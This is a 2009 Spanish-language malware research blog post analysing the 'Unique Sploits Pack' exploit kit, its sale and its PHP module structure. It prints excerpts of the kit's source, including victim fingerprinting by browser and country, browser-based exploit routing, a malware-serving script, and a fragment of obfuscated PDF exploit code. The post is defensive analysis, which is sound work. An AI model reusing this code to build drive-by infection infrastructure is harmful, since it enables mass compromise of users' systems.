Founder of MalwareIntelligence, a site dedicated to research on all matters relating to anti-malware security, criminology computing and information security in general, always from a perspective closely related to the field of intelligence.

domingo, 14 de junio de 2009

Mirando de cerca la estructura de Unique Sploits Pack

Unique Sploits Pack es un paquete crimeware del cual en este Blog dimos cuenta en varias oportunidades.

Este Kit, de origen ruso, se comercializa en el mercado a un costo de USD 750 la versión full que incorpora una aplicación de cifrado y el “beneficio” de acceder a las actualizaciones, siendo la versión actual de este crimeware la 1.5. Incluso, hasta hace poco, su comercialización se realizaba vía web a través de un sitio llamado unpack.ws (actualmente inactivo), donde era la versión 1.4 la comercializada en ese entonces.

A pesar del valor que actualmente posee Unique Sploits Pack, en algunos foros es posible encontrar un esquema de comercialización a través de ICQ, incluso, conseguir alguno de los combos con varios Kits de este estilo a un precio que, para los costos que manejan los desarrolladores de crimeware, puede representar una verdadera ganga.

Esta información nos da una idea global de cómo es el esquema de venta de estos, cada vez más comunes, aplicativos web que sientan las bases del comercio clandestino de crimeware.

Pero dejemos por un momento a un costado todo lo referido a la industria que se encuentra detrás y miremos un poco más de cerca cómo se encuentra estructurado Unique Sploits Pack.

Si bien este paquete no es muy diferente de otros, cada uno de los módulos que lo conforman corresponde a un archivo PHP, de los cuales, quizás se destaca el que permite diseminar malware empleando una estrategia de Ingeniería Social visual similar a las utilizadas por el scareware:
  • Módulo config.php: posee la configuración que indica desde qué URL y qué malware se intentará diseminar. En este módulo también se configura el esquema de autenticación que tendrá la base de datos y el login al panel de control/administración.
  • // ENLACE AL MODULO load.php
    $url='http://XX.XX.XX.XX/XX/load.php';
    // ENLACE AL MODULO pdf.php
    $pdf='http://XX.XX.XX.XX/XX/pdf.php';
    // BINARIO
    define('EXE', '1.exe');
    define('Unique', 'go-go-go'); // don't edit
    // ACCESO A MySQL
    $db_host='';
    $db_name='';
    $db_user='';
    $db_pass='';
    // ACCESO AL PANEL DE CONTROL
    $cp_url='admcp.php';
    $cp_user='';
    $cp_pass='913f8cfc77c2c974cc3a838cde8c7e6b';
  • Módulo _install.php: posee los scripts necesarios para crear y configurar las tablas para la base de datos.
  • include ("cfg/config.php");
    if (!($c = mysql_connect($db_host, $db_user, $db_pass))) {
    die("Check host, user or password (./cfg/config.php)");
    if (!mysql_select_db($db_name,$c)) {
    die("Check DB name (./cfg/config.php)");
    if (!mysql_query("DROP TABLE IF EXISTS
    statistic
    ;",$c)) die("Check permission for user '".$db_user."'");
    if (!mysql_query("CREATE TABLE
    statistic
    int(10) NOT NULL auto_increment,
    varchar(15) default NULL,
    varchar(30) default NULL,
    varchar(30) default NULL,
    country
    varchar(2) default '--',
    int(1) NOT NULL default '0',
    refer
    varchar(300) NOT NULL,
    datetime default 'XXXX-XX-XX 00:00:00',
    PRIMARY KEY (
    ) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1;",$c)) die("Check permission for user '".$db_user."'");
    die(" //SIGUE

  • Módulo options.php: identifica el navegador, el sistema operativo y el país; este último, en base al módulo GeoIP. También codifica la función Unicode del JS y especifica la página de error 404.

  • Módulo index.php: detecta la presencia de _install.php y lo ejecuta, además de verificar que no se realice la instalación a través de la misma dirección IP. Si detecta la misma dirección IP, aborta el proceso y ejecuta el módulo options.php mostrando error 404.
  • error_reporting(0);
    if (file_exists("install.php")) {
    include ("install.php");
    include'cfg/options.php';
    include'cfg/config.php';
    $ip = $_SERVER['REMOTE_ADDR'];
    mysql_connect($db_host, $db_user, $db_pass);
    mysql_select_db($db_name);
    $q = mysql_query("select ip from statistic where ip='$ip'");
    $n = mysql_num_rows($q);
    @mysql_free_result($q);
    if ($n != 0) exit($page404);
    $country = detect_country($ip);
    $br = browser();
    $os = os();
    @$purl = $_SERVER['HTTP_REFERER'];
    $ref=parse_url($purl);
    @$ref=$ref['host'];
    $q = mysql_query("insert into statistic (date, ip, os, br, country, refer) values ('".date("Y-m-d H:i:s", time())."', '".$ip."', '".$os."', '".$br."', '".$country."','".$ref."')");
    @mysql_free_result($q);
    include ("sploits.php");

  • Módulo sploits.php: el objetivo principal del módulo es configurar los exploits que se van a ejecutar; pero también chequea que exista el nombre "Unique". Si no lo encuentra muestra error 404 ejecutando el módulo options.php.
  • if (!defined('Unique')) {
    die ($page404);
    if (eregi("(opera)[ /]([0-9]{1,2}).([0-9]{1,3})",$br,$index)){
    if (($index[2]=="9") && ($index[3]>="51") && ($index[3]<="61")) { // include_once(_NEW_SPLOIT_); // echo "DEL ME!!! NEW SPLOIT WORK"; // if (($index[2]=="9") && ($index[3]>"21")) {
    include_once("./sploit/op9.php");
    if (eregi("firefox",$br)){
    include_once("./sploit/ff.php");
    if (eregi("IE 7",$br)){
    include_once("./sploit/ie7.php");
    if (eregi("IE 6",$br)){
    include_once("./sploit/ie.php");
    if (eregi("IE 5",$br)){
    include_once("./sploit/ie.php");
    if (eregi("IE 4",$br)){
    include_once("./sploit/ie.php");

  • Módulo admcp.php: define el acceso a la aplicación web a través de un esquema de autenticación, solicitando nombre de usuario y contraseña, previamente definidos en el módulo config.php.

  • Módulo geoip.php: identifica el país del sistema zombi a través de un ID.
  • "IT" => 108, "JM" => 109, "JO" => 110, "JP" => 111, "KE" => 112, "KG" => 113, "KH" => 114, "KI" => 115, "KM" => 116, "KN" => 117, "KP" => 118, "KR" => 119, "KW" => 120, "KY" => 121, "KZ" => 122, "LA" => 123, "LB" => 124, "LC" => 125, "LI" => 126, "LK" => 127, "LR" => 128, "LS" => 129, "LT" => 130, "LU" => 131, "LV" => 132, "LY" => 133, "MA" => 134, "MC" => 135, "MD" => 136, "MG" => 137,"MH" => 138, "MK" => 139, "ML" => 140, "MM" => 141, "MN" => 142, "MO" => 143, "MP" => 144, "MQ" => 145, "MR" => 146, "MS" => 147, "MT" => 148, "MU" => 149, //SIGUE HASTA EL 250
  • Módulo load.php: actualiza la columna "good" de la base de datos y ejecuta los scripts según lo definido en el archivo de configuración.
  • error_reporting(0);
    include ("cfg/config.php");
    $fsize = filesize(EXE);
    $dd=fopen(EXE, "r");
    $ss=fread($dd,$fsize);
    fclose ($dd);
    header("Accept-Ranges: bytes");
    header("Content-Length: ".$fsize."");
    header("Content-Disposition: inline; filename=".EXE);
    header("Content-Type: application/octet-stream");
    echo ($ss);
    $ip = $_SERVER['REMOTE_ADDR'];
    mysql_connect($db_host, $db_user, $db_pass);
    mysql_select_db($db_name);
    $q = mysql_query("update statistic set good=1 where ip='".$ip."'");
    @mysql_free_result($q);

  • Modulo pdf.php: contienen un exploit para la vulnerabilidad mencionada en CVE-2008-2992 para Adober Reader que intenta explotar en el sistema a través de un archivo PDF. El código php de este módulo se encuentra sometido a un proceso de ofuscación
  • hAvBwcGxpY2EG0S8EsANhAEEFOmRpZSiAABYlPz4=")); ?>
  • Módulo vparivatel.php: ejecuta una metodología de Ingeniería Social cuyos mensajes pueden ser completamente personalizada para ganar la confianza de la víctima.
  • Módulo mod_vparivatel.php: contiene la configuración del módulo vparivatel.php.
En relación directa con los exploits que incorpora por defecto el aplicativo, ellos son:
  • MDAC para IE 6
  • PDF exploit para IE 7, Opera y Firefox
  • PDF exploit para Adobe Acrobat 9
  • PDF Doble. Descarga de manera simultánea dos exploits en PDF
  • MS Office Snapshot para IE 6 y 7
  • IE 7 XML SPL
  • Firefox Embed
  • IE 7 Uninitialized Memory Corruption Exploit. Nuevo exploit incorporado en la v1.5 de USP
  • SPL Amaya 11
  • Foxit Reader 3.0. PDF Buffer Overflow Exploit (Universal) para todos los navegadores
Como vemos, la estructura de Unique Sploits Pack (que repito, no es muy diferente a otros crimeware de este estilo) es bastante compleja y engloba todo un conjunto de scripts maliciosos destinados a transformar en zombis, de una forma u otra, cuantos sistemas puedan.

Información relacionada
Botnet. Securización en la nueva versión de ZeuS
Fusión. Un concepto adoptado por el crimeware actual
Unique Sploits Pack. Manipulando la seguridad del atacante II
Adrenalin botnet: zona de comando. El crimeware ruso marca la tendencia
Chamaleon botnet. Administración y monitoreo de descargas
YES Exploit System. Otro crimeware made in Rusia
Unique Sploits Pack. Crimeware para automatizar la explotación de vulnerabilidades
Creación Online de malware polimórfico basado en PoisonIvy

# pistus

Ver más